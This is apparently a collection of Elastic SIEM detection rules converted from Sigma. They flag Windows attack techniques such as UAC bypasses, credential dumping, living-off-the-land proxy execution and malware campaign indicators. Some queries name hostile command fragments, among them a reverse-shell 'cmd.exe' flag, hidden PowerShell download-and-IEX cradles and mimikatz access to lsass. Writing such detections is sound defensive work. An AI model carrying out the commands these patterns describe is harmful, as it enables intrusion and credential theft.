{"description":"Detects the use of the Dinject PowerShell cradle based on the specific flags Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d78b5d61-187d-44b6-bf02-93486a80de5a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"DInject PowerShell Cradle CommandLine Flags","query":"process.command_line:(*\\ \\/am51* OR *\\ \\/password*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of the filename DumpStack.log to evade Microsoft Defender Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4f647cfa-b598-4e12-ad69-c68dd16caef8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"DumpStack.log Defender Evasion","query":"(process.executable:*\\\\DumpStack.log OR process.command_line:\"\\ \\-o\\ DumpStack.log\")","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making a network connections. One could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Legitimate use of wuauclt.exe over the network."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e08bb5c3-3742-dbce-70c2-6f70be4da5b4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Wuauclt Network Connection","query":"process.executable:*wuauclt*","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"068aa8e7-4d7a-ff98-f0e6-d7be82034b7f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Proxy Execution via Wuauclt","query":"(((process.executable:*wuauclt* OR winlog.event_data.OriginalFileName:\"wuauclt.exe\") AND (process.command_line:*UpdateDeploymentProvider* AND process.command_line:*.dll* AND process.command_line:*RunHandlerComServer*)) AND (NOT (process.command_line:(*\\ \\/UpdateDeploymentProvider\\ UpdateDeploymentProvider.dll\\ * OR *\\ wuaueng.dll\\ *))))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of various web request with commandline tools or Windows PowerShell command,methods (including aliases) Author: James Pemberton / @4A616D6573. License: ","enabled":false,"false_positives":["Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Windows Suspicious Use Of Web Request in CommandLine","query":"process.command_line:(*Invoke\\-WebRequest* OR *iwr\\ * OR *wget\\ * OR *curl\\ * OR *Net.WebClient* OR *Start\\-BitsTransfer*)","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Windows Credential Editor (WCE) Author: Florian Roth. License: ","enabled":false,"false_positives":["Another service that uses a single -s command line switch"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7aa7009a-28b9-4344-8c1f-159489a390df","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Windows Credential Editor","query":"((winlog.event_data.Imphash:(\"a53a02b997935fd8eedcb5f7abab9b9f\" OR \"e96a73c7bf33a464c510ede582318bf2\") OR (process.command_line:*.exe\\ \\-S AND process.parent.executable:*\\\\services.exe)) AND (NOT (process.executable:*\\\\clussvc.exe)))","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Windows Credential Editor (WCE) Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f2c5df73-e878-0cfa-e6ad-b2562450461f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Windows Credential Editor Registry","query":"winlog.event_data.TargetObject:*Services\\\\WCESERVICE\\\\Start*","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9fffdef6-4970-9841-979f-9ceccf576cfb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Esentutl Volume Shadow Copy Service Keys","query":"((winlog.event_data.TargetObject:*System\\\\CurrentControlSet\\\\Services\\\\VSS* AND process.executable:*esentutl.exe) AND (NOT (winlog.event_data.TargetObject:*System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Start*)))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the WMI Event Consumer service scrcons.exe creating a named pipe Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6cb90e3e-daa5-a497-54a3-600ce257f50b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WMI Event Consumer Created Named Pipe","query":"process.executable:*\\\\scrcons.exe","meta":{"from":"1m"},"severity":"high","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc). Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Apparently, wmic os get lastboottuptime loads vbscript.dll"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"52c4dfc5-b570-04d0-a572-662e478ce068","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WMIC Loading Scripting Libraries","query":"(process.executable:*\\\\wmic.exe AND file.path:(*\\\\jscript.dll OR *\\\\vbscript.dll))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1220"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1220","name":"XSL Script Processing","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Too long PowerShell command lines Author: oscd.community, Natalia Shornikova. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d0d28567-4b9a-45e2-8bbc-fb1b66a1f7f6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Too Long PowerShell Commandlines","query":"((process.command_line:(*powershell* OR *pwsh*) OR winlog.event_data.Description:\"Windows\\ Powershell\" OR Product:\"PowerShell\\ Core\\ 6\") AND process.command_line:/.{1000,}/)","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects tools and process executions as observed in a Greenbug campaign in May 2020 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5e66899a-1b3f-927d-dfc4-1731bc978b34","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Greenbug Campaign Indicators","query":"((process.command_line:*bitsadmin* AND process.command_line:*\\/transfer* AND process.command_line:*CSIDL_APPDATA*) OR process.command_line:*CSIDL_SYSTEM_DRIVE* OR process.command_line:(*\\\\msf.ps1* OR *8989\\ \\-e\\ cmd.exe* OR *system.Data.SqlClient.SqlDataAdapter\$$cmd\$;\\ \\[void\\]$da.fill* OR *\\-nop\\ \\-w\\ hidden\\ \\-c\\ $k\\=new\\-object* OR *\\[Net.CredentialCache\\]\\:\\:DefaultCredentials;IEX\\ * OR *\\ \\-nop\\ \\-w\\ hidden\\ \\-c\\ $m\\=new\\-object\\ net.webclient;$m* OR *\\-noninteractive\\ \\-executionpolicy\\ bypass\\ whoami* OR *\\-noninteractive\\ \\-executionpolicy\\ bypass\\ netstat\\ \\-a* OR *L3NlcnZlcj1*) OR process.executable:(*\\\\adobe\\\\Adobe.exe OR *\\\\oracle\\\\local.exe OR *\\\\revshell.exe OR *infopagesbackup\\\\ncat.exe OR *CSIDL_SYSTEM\\\\cmd.exe OR *\\\\programdata\\\\oracle\\\\java.exe OR *CSIDL_COMMON_APPDATA\\\\comms\\\\comms.exe OR *\\\\Programdata\\\\VMware\\\\Vmware.exe))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1036","T1059","T1105"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects transferring files from system on a server bitstransfer Powershell cmdlets Author: Austin Songer @austinsonger. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"14da900e-002b-2a58-cd4e-460ee3539504","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Bitstransfer via PowerShell","query":"(process.executable:(*\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\pwsh.exe) AND process.command_line:(*Get\\-BitsTransfer* OR *Add\\-BitsFile*))","meta":{"from":"1m"},"severity":"medium","tags":["T1197"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1197","name":"BITS Jobs","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Trickbot malware process tree pattern in which rundll32.exe is parent of wermgr.exe Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"75e1f66d-e142-97b3-7fd7-c0124a9eab2a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Trickbot Malware Activity","query":"(process.executable:*\\\\wermgr.exe AND process.parent.executable:*\\\\rundll32.exe AND process.parent.command_line:*DllRegisterServer*)","meta":{"from":"1m"},"severity":"critical","tags":["T1559"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1559","name":"Inter-Process Communication","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Trojan loader acitivty as used by APT28 Author: Florian Roth, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ba778144-5e3d-40cf-8af9-e28fb1df1e20","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Sofacy Trojan Loader Activity","query":"((process.command_line:*rundll32.exe* AND process.command_line:*%APPDATA%\\\\*) AND (process.command_line:*.dat\\\",* OR process.command_line:(*.dll\\\",#1 OR *.dll\\ #1 OR *.dll\\\"\\ #1)))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1059","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia Author: @41thexplorer, Microsoft Defender ATP. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8c7090c3-e0a0-4944-bd08-08c3a0cecf79","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"TropicTrooper Campaign November 2018","query":"process.command_line:*abCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCc*","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects typical Dridex process patterns Author: Florian Roth, oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e6eb5a96-9e6f-4a18-9cdd-642cfda21c8e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Dridex Process Pattern","query":"((process.executable:*\\\\svchost.exe AND process.command_line:*C\\:\\\\Users\\\\* AND process.command_line:*\\\\Desktop\\\\*) OR (process.parent.executable:*\\\\svchost.exe AND ((process.executable:*\\\\whoami.exe AND process.command_line:*all*) OR (process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*view*))))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1033","T1055","T1135"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""},{"id":"T1135","name":"Network Share Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65) Author: Nik Seetharaman, Christian Burkard. License: ","enabled":false,"false_positives":["Legitimate CMSTP use (unlikely in modern enterprise environments)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4b60e6f2-bf39-47b4-b4ea-398e33cfe253","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CMSTP UAC Bypass via COM Object Access","query":"(process.parent.executable:*\\\\DllHost.exe AND IntegrityLevel:(\"High\" OR \"System\") AND process.parent.command_line:(*\\ \\/Processid\\:\\{3E5FC7F9\\-9A51\\-4367\\-9063\\-A120244FBEC7\\}* OR *\\ \\/Processid\\:\\{3E000D72\\-A845\\-4CD9\\-BD83\\-80C07C3B881F\\}* OR *\\ \\/Processid\\:\\{BD54C901\\-076B\\-434E\\-B6C7\\-17C531F4AB41\\}* OR *\\ \\/Processid\\:\\{D2E7041B\\-2927\\-42FB\\-8E9F\\-7CE93B6DC937\\}* OR *\\ \\/Processid\\:\\{E9495B87\\-D950\\-4AB5\\-87A5\\-FF6D70BF3E90\\}*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1218","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""},{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects UAC bypass method using Windows event viewer Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"be344333-921d-4c4d-8bb8-e584cf584780","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"UAC Bypass via Event Viewer","query":"(process.parent.executable:*\\\\eventvwr.exe AND (NOT (process.executable:*\\\\mmc.exe)))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects UAC bypass method using Windows event viewer Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d3c91d33-218e-87e8-73e9-015ec8dbb6f5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"UAC Bypass via Event Viewer","query":"(winlog.event_data.TargetObject:HKCU\\\\* AND winlog.event_data.TargetObject:*\\\\mscfile\\\\shell\\\\open\\\\command)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk. Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO). License: ","enabled":false,"false_positives":["Operations performed through Windows SCCM or equivalent","read only access list authority"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"424088c1-9280-78fc-4e7f-cb89fdb80c99","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious desktop.ini Action","query":"(file.path:*\\\\desktop.ini AND (NOT (process.executable:(C\\:\\\\Windows\\\\* OR C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of attrib.exe to hide files from users. Author: Sami Ruohonen. License: ","enabled":false,"false_positives":["igfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)","msiexec.exe hiding desktop.ini"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4281cb20-2994-4580-aa63-c8b86d019934","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Hiding Files with Attrib.exe","query":"((process.executable:*\\\\attrib.exe AND process.command_line:*\\ \\+h\\ *) AND (NOT ((process.command_line:*\\\\desktop.ini\\ * OR (process.parent.executable:*\\\\cmd.exe AND process.command_line:\\+R\\ \\+H\\ \\+S\\ \\+A\\ \\\\*.cui AND process.parent.command_line:C\\:\\\\WINDOWS\\\\system32\\\\*.bat)))))","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of base64 utility to decode arbitrary base64-encoded text Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"e2072cab-8c9a-459b-b63c-40ae79e27031","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Decode Base64 Encoded Text","query":"(process.executable:*\\/base64 AND process.command_line:*\\-d*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of base64 utility to decode arbitrary base64-encoded text Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"719c22d7-c11a-4f2c-93a6-2cfdd5412f68","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Decode Base64 Encoded Text","query":"(process.executable:\"\\/usr\\/bin\\/base64\" AND process.command_line:*\\-d*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of bitsadmin downloading a file Author: Michael Haag, FPT.EagleEye. License: ","enabled":false,"false_positives":["Some legitimate apps use this, but limited."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d059842b-6b9d-4ed1-b5c3-5b89143c6ede","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Bitsadmin Download","query":"((process.executable:*\\\\bitsadmin.exe AND ((process.command_line:(*\\ \\/create\\ * OR *\\ \\/addfile\\ *) AND process.command_line:*http*) OR process.command_line:*\\ \\/transfer\\ *)) OR process.command_line:*copy\\ bitsadmin.exe*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1036","T1197"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1197","name":"BITS Jobs","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""},{"id":"T1197","name":"BITS Jobs","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of cmdkey to look for cached credentials Author: jmallette. License: ","enabled":false,"false_positives":["Legitimate administrative tasks"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"07f8bdc2-c9b3-472a-9817-5a670b872f53","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Cmdkey Cached Credentials Recon","query":"(process.executable:*\\\\cmdkey.exe AND process.command_line:*\\ \\/list*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack Author: Trent Liffick. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"42f520f5-5d24-3f4d-f5f5-9721d690d805","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Findstr Launching .lnk File","query":"(process.executable:*\\\\findstr.exe AND process.command_line:*.lnk)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1027","T1036","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""},{"id":"T1036","name":"Masquerading","reference":""},{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of mimikatz through WinRM protocol by monitoring access to lsass process by wsmprovhost.exe. Author: Patryk Prauze - ING Tech. License: ","enabled":false,"false_positives":["low"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aa35a627-33fb-4d04-a165-d33b4afca3e8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Mimikatz through Windows Remote Management","query":"(winlog.event_data.TargetImage:*\\\\lsass.exe AND process.executable:\"C\\:\\\\Windows\\\\system32\\\\wsmprovhost.exe\")","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","Lateral Movement","T1003","T1021","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of system utilities (only grep for now) to discover security software discovery Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"c9d8b7fd-78e4-44fe-88f6-599135d46d60","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Security Software Discovery","query":"(process.executable:*\\/grep AND process.command_line:(*nessusd* OR *td\\-agent* OR *packetbeat* OR *filebeat* OR *auditbeat* OR *osqueryd* OR *cbagentd* OR *falcond*))","meta":{"from":"1m"},"severity":"low","tags":["T1518"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1518","name":"Software Discovery","reference":""}]}],"version":1,"references":[""]}
